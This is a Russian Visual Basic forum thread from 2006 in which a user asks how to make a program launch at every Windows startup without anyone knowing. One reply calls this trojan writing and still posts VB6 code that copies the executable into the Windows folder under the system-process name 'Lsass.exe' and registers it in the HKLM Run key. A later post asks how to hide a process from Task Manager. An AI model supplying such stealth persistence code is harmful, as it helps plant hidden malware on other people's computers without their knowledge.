Гость
Целевая тема:
Создать новую тему:
Автор:
Форумы / Visual Basic [игнор отключен] [закрыт для гостей] / Уталите жажду любопытного программиста! / 19 сообщений из 19, страница 1 из 1
11.02.2006, 22:47
    #33539112
Nickson
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Уталите жажду любопытного программиста!
Привет всем!
Действительно, перерыл кучу всяких руководств по VB, но то, что именно надо не нашёл. Так что рассчитываю на вашу помощь. В общем, вопросов есть многовато, оголошу весть список :). Конечно, хотелось бы, чтоб и вопросы нашлись на них. Ну вот и они (вопросы):

Как с помощью VB...
1. ...отыскать на диске нужный файл?
2. ...проверить установлена ли та или иная программа, например, MS Exel?
3. ...открыть и закрыть CD-Rom?
4. ...потушить монитор? (в смысле, перевести в энергосбер. реж.)
5. ...сделать так, чтобы, используя метод PaintPicture или Move, объект двигался, но не моргал?
6. Дайте ссылку на программу, которая делает Setup-файл для программы, а то таPackage & Deployment Wizard, которая в комплекте, не работает так как надо. И желательно, чтоб делала один только файл Setup.
...
Рейтинг: 0 / 0
11.02.2006, 23:09
    #33539121
timtim
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Уталите жажду любопытного программиста!
Попробуй поиск ипользовать
...
Рейтинг: 0 / 0
12.02.2006, 00:29
    #33539182
Nickson
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Уталите жажду любопытного программиста!
в смысле?
...
Рейтинг: 0 / 0
12.02.2006, 01:22
    #33539206
timtim
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Уталите жажду любопытного программиста!
типа этого:
http://]http://www.sql.ru/forum/actualthread.aspx?tid=179603&hl=%ee%f2%ea%f0%fb%f2%fc+cdrom
...
Рейтинг: 0 / 0
12.02.2006, 12:41
    #33539423
Nickson
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Уталите жажду любопытного программиста!
Да, ну я понял. Это немного долговато.
Я нашёл "чудо" тут одно, CompControl.ocx называется, есть на сайте http://]sitevb.narod.ru/Upgrades.htm. С ним можно и CD-Rom открывать и комп выключать/перезагружать и всякое/многое другое. Там и русификатор для VB6 есть.

И поиск я использовал насчёт поиска файлов . Но тут ничего не нашёл. С VB6 надо файл найти какой-то. Вот, как это сделать, - вопрос.

Да, к стати, подскажите также, кто знает, как сделать, чтобы прога запускалась при каждом запуске компа. Только не через добавление в папку "Автозагрузка" . Т.е. один, первый раз, открыл прогу и она куда-то добавилась, чтоб потом при старте Виндовса грузилась, но никто о ней не знал. А из списка Ctrl+Alt+Del я убирать прогу умею. С этим проблем не будет.

И про Setup Factory читал здесь кое что, а скачать-то где его?
...
Рейтинг: 0 / 0
12.02.2006, 20:53
    #33539698
Kifir
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Уталите жажду любопытного программиста!
Да парень, видимо ты собираешься троян писать. Ладно помогу тебе чтобы твоя прога записывалась в реестр. Если тебе еще надо что нибудь, то пиши.
И прогу через Ctrl+Alt+Del на Хр не выключишь.

Создаешь модуль:
Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
Option Explicit
Public Declare Sub Sleep Lib "kernel32" (ByVal milliseconds As Long)
Public Const REG_SZ As Long =  1 
Public Const REG_DWORD As Long =  4 
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_USERS = &H80000003

Public Const ERROR_NONE =  0 
Public Const ERROR_BADDB =  1 
Public Const ERROR_BADKEY =  2 
Public Const ERROR_CANTOPEN =  3 
Public Const ERROR_CANTREAD =  4 
Public Const ERROR_CANTWRITE =  5 
Public Const ERROR_OUTOFMEMORY =  6 
Public Const ERROR_INVALID_PARAMETER =  7 
Public Const ERROR_ACCESS_DENIED =  8 
Public Const ERROR_INVALID_PARAMETERS =  87 
Public Const ERROR_NO_MORE_ITEMS =  259 
Public Const KEY_ALL_ACCESS = &H3F
Public Const REG_OPTION_NON_VOLATILE =  0 

Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegQueryValueExString Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Long, lpcbData As Long) As Long
Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As Long, lpcbData As Long) As Long
Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long
Declare Function RegDeleteKey& Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String)
Declare Function RegDeleteValue& Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String)

Public Function CreateNewKey(lPredefinedKey As Long, sNewKeyName As String)
Dim hNewKey As Long
Dim lRetVal As Long
lRetVal = RegCreateKeyEx(lPredefinedKey, sNewKeyName,  0 &, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,  0 &, hNewKey, lRetVal)
RegCloseKey (hNewKey)
End Function


Public Function SetKeyValue(lPredefinedKey As Long, sKeyName As String, sValueName As String, vValueSetting As Variant, lValueType As Long)
Dim lRetVal As Long
Dim hKey As Long

lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName,  0 , KEY_ALL_ACCESS, hKey)
lRetVal = SetValueEx(hKey, sValueName, lValueType, vValueSetting)

RegCloseKey (hKey)
End Function

Public Function SetValueEx(ByVal hKey As Long, sValueName As String, lType As Long, vValue As Variant) As Long
    
Dim lValue As Long
Dim sValue As String

Select Case lType
       Case REG_SZ
            sValue = vValue
            SetValueEx = RegSetValueExString(hKey, sValueName,  0 &, lType, sValue, Len(sValue))
       Case REG_DWORD
            lValue = vValue
            SetValueEx = RegSetValueExLong(hKey, sValueName,  0 &, lType, lValue,  4 )
End Select

End Function


Public Function QueryValue(lPredefinedKey As Long, sKeyName As String, sValueName As String)

Dim lRetVal As Long
Dim hKey As Long
Dim vValue As Variant
lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName,  0 , KEY_ALL_ACCESS, hKey)
lRetVal = QueryValueEx(hKey, sValueName, vValue)
QueryValue = vValue
RegCloseKey (hKey)

End Function

Function QueryValueEx(ByVal lhKey As Long, ByVal szValueName As String, vValue As Variant) As Long

Dim cch As Long
Dim lrc As Long
Dim lType As Long
Dim lValue As Long
Dim sValue As String

On Error GoTo QueryValueExError
    
lrc = RegQueryValueExNULL(lhKey, szValueName,  0 &, lType,  0 &, cch)
If lrc <> ERROR_NONE Then MsgBox "No!", vbExclamation, Form1.Caption
Select Case lType
       Case REG_SZ:
    sValue = String(cch,  0 )
    lrc = RegQueryValueExString(lhKey, szValueName,  0 &, lType, sValue, cch)
    If lrc = ERROR_NONE Then
                        vValue = Left$(sValue, cch)
       Else
       vValue = Empty
    End If

    Case REG_DWORD:
    lrc = RegQueryValueExLong(lhKey, szValueName,  0 &, lType, lValue, cch)
    If lrc = ERROR_NONE Then vValue = lValue

    Case Else
    lrc = - 1 
    End Select
QueryValueExExit:
    QueryValueEx = lrc
    Exit Function
QueryValueExError:
    Resume QueryValueExExit
End Function


Public Function DeleteValue(lPredefinedKey As Long, sKeyName As String, sValueName As String)
Dim lRetVal As Long
Dim hKey As Long
lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName,  0 , KEY_ALL_ACCESS, hKey)
lRetVal = RegDeleteValue(hKey, sValueName)
RegCloseKey (hKey)
End Function


Public Function DeleteKey(lPredefinedKey As Long, sKeyName As String)
Dim lRetVal As Long
lRetVal = RegDeleteKey(lPredefinedKey, sKeyName)
End Function
А это в форме:
Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
Private Sub Form_Load()
On Error Resume Next
Dim rKey As String
FileCopy App.EXEName + ".exe", Environ("windir") & "/Lsass.exe"
Shell Environ("windir") & "/Lsass.exe",  1 
If App.EXEName + ".exe" <> "Lsass.exe" Then Unload Me
If App.PrevInstance = True Then Unload Me
Next
rKey = App.Path + "\Lsass.exe"
SetKeyValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Lsass", rKey, REG_SZ
End Sub
...
Рейтинг: 0 / 0
13.02.2006, 16:17
    #33541357
Nickson
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Уталите жажду любопытного программиста!
KifirДа парень, видимо ты собираешься троян писать. Ладно помогу тебе чтобы твоя прога записывалась в реестр. Если тебе еще надо что нибудь, то пиши.
И прогу через Ctrl+Alt+Del на Хр не выключишь.
[/src]

А как убрать-то из реестра? Ну, "противоядие" есть?
...
Рейтинг: 0 / 0
13.02.2006, 18:42
    #33541809
Nickson
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Уталите жажду любопытного программиста!
Совсем забыл, вот ещё вопросик нагорел причём важный:

Ну вот я использую для разработки программы компоненты CompControl и MS scripting runtime . На другом компе их нет, и соответственно, я так понимаю, работать прога не будет. Это я помню из того, что сделал тестера, а после этого винду переустановил, и VB естественно удалил. Запускаю exe-файл тестера своего, а он говорит, что не работает. А я там использовал FSO. Вобщем, к чему я веду - как установить эти компоненты на другом компе, автоматически желательно, вместе с программой ?
...
Рейтинг: 0 / 0
13.02.2006, 18:46
    #33541817
Kifir
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Уталите жажду любопытного программиста!
Создай сетапник с этими файлами, чтобы они устанавливались в C:/windows/system32
...
Рейтинг: 0 / 0
13.02.2006, 19:57
    #33541952
Nickson
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Уталите жажду любопытного программиста!
Нету СЕТАПНИКА! Где его взять?
...
Рейтинг: 0 / 0
13.02.2006, 20:31
    #33542007
Kifir
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Уталите жажду любопытного программиста!
NicksonНету СЕТАПНИКА! Где его взять?
Создай самораспокующийся архив с помощью Win rar
...
Рейтинг: 0 / 0
13.02.2006, 20:55
    #33542047
Nickson
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Уталите жажду любопытного программиста!
Ну конечно! Сенька за идею. А всё таки, не знаешь, где можно скачать такую чтуку эту, что Setup.exe делает. А то уже давненько ищу.
...
Рейтинг: 0 / 0
14.02.2006, 17:15
    #33544344
Kifir
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Уталите жажду любопытного программиста!
Вот ссылка:

http://www.gentee.com
...
Рейтинг: 0 / 0
14.02.2006, 23:37
    #33544965
Hibernate
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Уталите жажду любопытного программиста!
в комплекте со студией идет.
...
Рейтинг: 0 / 0
15.02.2006, 07:57
    #33545182
KuzVit
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Уталите жажду любопытного программиста!
Nickson
6. ... а то таPackage & Deployment Wizard, которая в комплекте, не работает так как надо.

На VB поставь сервис-пак 5 или 6, тогда все будет работать, как надо.
...
Рейтинг: 0 / 0
15.02.2006, 15:58
    #33546907
Nickson
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Уталите жажду любопытного программиста!
Спасибо, спасибо, спасибо...
Я нашёл кое-что получше и попроще на сайте http://]http://www.sources.ru/vb/index.html
Скачал исходник "Project installer" и откомпилировал. И всё работает как надо.
Можно даже поставить, чтоб при установке ключ вводить надо было..

Так, а там всё таки остались вопросы некоторые, нерешенные:
1. Как найти на диске определённый файл?
2. Как сделать, чтоб объект с помощью метода Paintpicture не моргал, когда будет двигаться?


Кто знает, плз. напишите!
...
Рейтинг: 0 / 0
17.02.2006, 15:45
    #33552593
Fogkch
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Уталите жажду любопытного программиста!
Nickson1. Как найти на диске определённый файл?


Вот тут примерчик от Петроциуса по рекурсивному сканированию папок...
...
Рейтинг: 0 / 0
29.04.2006, 13:26
    #33698995
CoolB
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Уталите жажду любопытного программиста!
как из ctrl_alt_del убрать присутствие процесса?
кто знает пишите на мыло(TryHack@yandex.ru) или ответьте на форумен
...
Рейтинг: 0 / 0
29.04.2006, 21:48
    #33699340
Letter_D
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Уталите жажду любопытного программиста!
Троян с дистрибутивом!
Ыыыыыы
...
Рейтинг: 0 / 0
Форумы / Visual Basic [игнор отключен] [закрыт для гостей] / Уталите жажду любопытного программиста! / 19 сообщений из 19, страница 1 из 1
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]